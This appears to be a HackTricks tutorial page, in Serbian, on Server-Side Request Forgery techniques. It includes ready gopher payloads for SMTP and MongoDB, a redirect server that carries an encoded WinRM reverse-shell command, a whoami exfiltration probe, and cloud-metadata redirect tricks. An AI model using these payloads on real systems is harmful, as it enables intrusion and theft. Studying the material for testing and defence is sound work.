SSRF (Server Side Request Forgery)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ranljivost Server-side Request Forgery (SSRF) nastaje kada napadač manipuliše server-side application da izvrši HTTP requests ka domenu po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje napadač usmerava.

Snimanje SSRF

Prvo što treba da uradite je da zabeležite SSRF interakciju koju vi generišete. Za hvatanje HTTP ili DNS interakcije možete koristiti alate kao što su:

Whitelisted Domains Bypass

Obično ćete otkriti da SSRF funkcioniše samo u okviru certain whitelisted domains ili URL-a. Na sledećoj stranici imate compilation of techniques to try to bypass that whitelist:

URL Format Bypass

Bypass via open redirect

Ako je server ispravno zaštićen, mogli biste bypass all the restrictions by exploiting an Open Redirect inside the web page. Pošto veb-stranica dozvoljava SSRF to the same domain i verovatno će follow redirects, možete iskoristiti Open Redirect to make the server to access internal any resource.
Read more here: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • URL šema file:// je pomenuta, upućujući direktno na /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL šema se koristi za pristup definicijama ili listama reči preko DICT protokola. Primer ilustruje konstruktovan URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripta koji bi mogao biti zloupotrebljen da se poveže na DICT server koristeći akreditive koje napadač prosledi: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za siguran prenos fajlova preko secure shell-a; dat je primer kako bi PHP skripta mogla biti iskorišćena da se poveže na maliciozni SFTP server: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol radi preko UDP-a; pomenut je primer PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev je upućen ka ‘generic.com’ na portu ‘12346’ za fajl ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj deo pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim direktorijumskim servisima preko IP mreža. Interakcija sa LDAP serverom na localhost-u: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisuje se metod za eksploataciju SSRF ranjivosti radi interakcije sa SMTP servisima na localhost-u, uključujući korake za otkrivanje internih domena i dalje istražne radnje bazirane na tim informacijama.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Ako je SSRF izvršen pomoću curl, curl ima funkciju nazvanu URL globbing koja može biti korisna za zaobilaženje WAFs. Na primer, u ovom writeup možete naći primer za path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Razmatrana je sposobnost Gopher protokola da specificira IP, port i bytes za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payloads. Ilustrovane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete specificirati IP, port and bytes koje želite da server pošalje. Zatim, u suštini možete iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali morate prvo znati kako da komunicirate sa tom uslugom).
Srećom, možete koristiti Gopherus da kreirate payloads za više servisa. Dodatno, remote-method-guesser može se koristiti za kreiranje gopher payloads za Java RMI servise.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Kreiraj korisnika sa username=admin, password=admin123 i permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF preko Referrer header & ostalo

Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije Server-Side Request Forgery (SSRF) ranjivostima. To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referentnog sajta. Za otkrivanje ovih ranjivosti preporučuje se Burp Suite plugin “Collaborator Everywhere”, koji koristi način na koji analitički alati procesuiraju Referer header kako bi identifikovali potencijalne SSRF vektore napada.

SSRF via SNI data from certificate

Neispravna konfiguracija koja bi mogla omogućiti povezivanje na bilo koji backend kroz jednostavno podešavanje ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koju je moguće iskoristiti jednostavnim navođenjem željene IP adrese ili domena u SNI polju. Primer eksploatacije za prisiljavanje konekcije na proizvoljan backend, kao što je internal.host.com, koristeći komandu openssl, dat je ispod:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Neki TLS stack-ovi će automatski preuzimati nedostajuće intermediate CA koristeći Authority Information Access (AIA) → CA Issuers URI u peeer sertifikatu. U Java, omogućavanje -Dcom.sun.security.enableAIAcaIssuers=true pri pokretanju mTLS servisa tera server da dereferencira URI-ove kontolisane od strane napadača iz klijentskog sertifikata tokom handshake-a, pre nego što bilo koja HTTP logika pokrene.

  • Requirements: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
  • Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java certpath debug izlaz prikazuje CertStore URI:http://localhost:8080, i nc hvata HTTP zahtev sa kontrolisanim User-Agent iz -Dhttp.agent, dokazujući SSRF tokom validacije sertifikata.

  • DoS via file://: postavljanje AIA CA Issuers na file:///dev/urandom na Unix-like hostovima tera Java da ga tretira kao CertStore i čita neograničene nasumične bajtove, držeći jednu CPU jezgru zauzetom i blokirajući naknadne konekcije čak i nakon što se klijent disconnect-uje.

SSRF via CSS Pre-Processors

LESS je popularan CSS pre-processor koji dodaje varijable, mixin-e, funkcije i moćnu @import direktivu. Tokom kompajlacije LESS engine će preuzimati resurse referencirane u @import izjavama i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada se koristi (inline) opcija.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

Vredi pokušati payload kao: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

Ako veb stranica automatski kreira PDF sa nekim informacijama koje ste uneli, možete ubaciti JS koji će biti izvršen od strane PDF kreatora (servera) dok se PDF generiše i moći ćete da zloupotrebite SSRF. Find more information here.

From SSRF to DoS

Kreirajte nekoliko sesija i pokušajte da preuzmete velike fajlove iskorišćavajući SSRF iz tih sesija.

SSRF PHP Functions

Pogledajte sledeću stranicu za ranjive PHP pa čak i Wordpress funkcije:

PHP SSRF

SSRF Redirect to Gopher

Za neke eksploatacije možda će biti potrebno da pošaljete redirect response (potencijalno da koristite drugi protokol kao što je gopher). Ovde su različiti python kodovi koji odgovaraju sa redirect-om:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Pogrešno konfigurisani proxy-ji za SSRF

Trikovi from this post.

Flask

Flask proxy ranjiv kod ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se početni **host name** iskoristi kao **username** i da se ubaci novi. Attack request:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ranljiv kod:

Otkriveno je da je moguće započeti putanju zahteva karakterom ;, što omogućava da se potom iskoristi @ i ubaci novi host za pristup. Napadni zahtev:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP ugrađeni web server

Ranljiv PHP kod ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP dozvoljava upotrebu **znaka `*` pre kosa crta u putanji** URL-a, međutim ima i drugih ograničenja: može se koristiti samo za root putanju `/`, i tačke `.` nisu dozvoljene pre prve kosa crta, pa je, na primer, potrebno koristiti hex kodiranu IP adresu bez tačaka:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse proxies koji prihvataju absolute URLs u request line-u (open forward-proxy)

Neki reverse proxies takođe prihvataju absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) i prosleđuju URL takav-kakav ka backend-u umesto da ga odbace ili prepišu na konfigurisani upstream. To pretvara reverse proxy u pre-auth forward proxy with full-read SSRF, uključujući pristup localhost-vezanim servisima koji bi inače bili nedostupni sa Interneta.

Key points:

  • Request line controls destination: autoritet u absolute URL-u nadjačava uobičajeno rutiranje; Host header se obično ignoriše.
  • Full response returned: odgovori od internих hostova se strimuju nazad, pa možete da ih enumerišete i interagujete (npr. SOAP/Axis2, Keycloak, admin consoles) umesto blind-probing.
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n je dovoljno da dosegnete servise koji slušaju samo na loopback interfejsu.
  • Abuse as pivot: kombinujući sa drugim vulns (npr. upload endpoints) možete da dođete do intra-host services.

Minimalna proba:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

Ako vidite upstream odgovor umesto 400, uređaj se ponaša kao open proxy.

DNS Rebidding CORS/SOP bypass

Ako imate probleme da exfiltrate content from a local IP zbog CORS/SOP, DNS Rebidding se može koristiti da zaobiđe to ograničenje:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje neophodne komponente za rebinding IP adrese DNS imena attack servera na IP ciljane mašine i za serviranje attack payloads kako bi se exploit-ovao vulnerable software na ciljanoj mašini.

Pogledajte takođe i javno pokrenut server na http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Zahtevi:

  • SSRF
  • izlazne TLS sesije
  • servisi na lokalnim portovima

Napad:

  1. Naterajte korisnika/bota da pristupi domenu koji kontroliše napadač
  2. TTL DNS-a je 0 sekundi (dakle žrtva će uskoro ponovo proveriti IP domena)
  3. TLS konekcija se uspostavlja između žrtve i domena napadača. Napadač ubacuje payload unutar Session ID-a ili Session Ticket-a.
  4. Domen će pokrenuti beskonačnu petlju preusmeravanja protiv samog sebe. Cilj ovoga je naterati korisnika/bota da pristupa domenu dok ponovo ne izvrši DNS upit za taj domen.
  5. U DNS odgovoru će sada biti vraćena privatna IP adresa (na primer 127.0.0.1)
  6. Korisnik/bot će pokušati da ponovo uspostavi TLS konekciju i pri tome će poslati Session ID/Ticket ID (u kojem je sadržan napadačev payload). Dakle, čestitamo — uspeli ste da naterate korisnika/bota da napadne samog sebe.

Imajte na umu da tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi inicijalnu konekciju sa www.attacker.com:11211 (port mora uvek biti isti).
Za izvođenje ovog napada možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje u kojem je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Razlika između blind SSRF-a i ne-blind SSRF-a je u tome što kod blind SSRF-a ne možete videti odgovor na SSRF zahtev. Zbog toga je teže eksploatisati, jer ćete moći iskoristiti samo dobro poznate ranjivosti.

Time based SSRF

Provera vremena odgovora servera može biti moguće znati da li resurs postoji ili ne (možda pristup postojećem resursu traje duže nego pristup onom koji ne postoji)

From blind to full abusing status codes

Prema ovom blog postu, neki blind SSRF slučajevi se dešavaju zato što čak i ako ciljani URL odgovori sa status kodom 200 (kao AWS metadata), ti podaci nisu pravilno formatirani i zbog toga aplikacija može odbiti da ih prikaže.

Međutim, utvrđeno je da slanje odgovora sa preusmeravanjima u opsegu 305 do 309 preko SSRF-a može nagnati aplikaciju da sledi te preusmeravanja dok pritom uđe u režim greške koji više ne proverava format podataka i može ih jednostavno ispisati.

Python server koji se koristi za eksploataciju ovoga je sledeći:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Koraci:

  • Prvo 302 natera aplikaciju da počne da prati.
  • Zatim prima 305 → 306 → 307 → 308 → 309 → 310.
  • Posle 5. čudnog koda PoC konačno vraća 302 → 169.254.169.254 → 200 OK.

Šta se dešava unutar cilja:

  • libcurl sam po sebi zapravo prati 305–310; ono jednostavno normalizuje nepoznate kodove u “follow.”
  • Posle N čudnih redirekcija (ovde ≥ 5) wrapper aplikacije odluči “nešto nije u redu” i prebacuje se u error mode namenjen debagovanju.
  • U tom modu ispisuje ceo lanac redirekcija plus konačno telo nazad spoljnjem pozivaocu.
  • Rezultat: attacker vidi svaki header + metadata JSON, cilj ostvaren.

Imajte na umu da je ovo interesantno za leak status kodova koje ranije niste mogli leak-ovati (kao 200). Međutim, ako biste nekako mogli i odabrati status code odgovora (zamislite da možete da odlučite da AWS metadata odgovori sa statusom 500), mogu postojati neki status kodovi koji direktno leak-uju sadržaj odgovora.

HTML-to-PDF renderers as blind SSRF gadgets

Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 pokreće više pokušaja preuzimanja za svaki <img> resurs, pa jedan payload može generisati više zahteva (korisno za timing-based port scans).
  • html2pdf kopira ponašanje TCPDF-a za <img> i dodaje preuzimanje CSS-a unutar Css::extractStyle(), koji jednostavno poziva file_get_contents($href) nakon plitke provere scheme-a. Iskoristite ovo da pogodite loopback services, RFC1918 ranges, ili cloud metadata endpoints.
  • Kombinujte ovaj SSRF primitive sa HTML-to-PDF path traversal tricks da biste leak both internal HTTP responses and local files rendered into the PDF.

Hardeners bi trebalo da uklone eksterne URL-ove pre renderovanja ili da izoluju renderer u network sandboxu; do tada, tretirajte PDF generators kao blind SSRF proxies.

Eksploatacija SSRF-a u cloud okruženju

Ako pronađete SSRF ranjivost na mašini koja se izvršava u cloud okruženju, možda ćete moći da dobijete interesantne informacije o cloud okruženju i čak credentials:

Cloud SSRF

Platforme ranjive na SSRF

Nekoliko poznatih platformi sadrži ili je sadržalo SSRF ranjivosti; pogledajte ih u:

SSRF Vulnerable Platforms

Alati

SSRFMap

Alat za detekciju i eksploataciju SSRF ranjivosti

Gopherus

Ovaj alat generiše Gopher payloads za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je skener za Java RMI ranjivosti koji podržava attack operations za većinu uobičajenih Java RMI ranjivosti. Većina dostupnih operacija podržava opciju --ssrf za generisanje SSRF payload-a za traženu operaciju. Zajedno sa opcijom --gopher, mogu se direktno generisati spremni za upotrebu gopher payloads.

SSRF Proxy

SSRF Proxy je multi-threaded HTTP proxy server dizajniran da tunelizuje client HTTP traffic kroz HTTP servers ranjive na Server-Side Request Forgery (SSRF).

Za vežbu

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks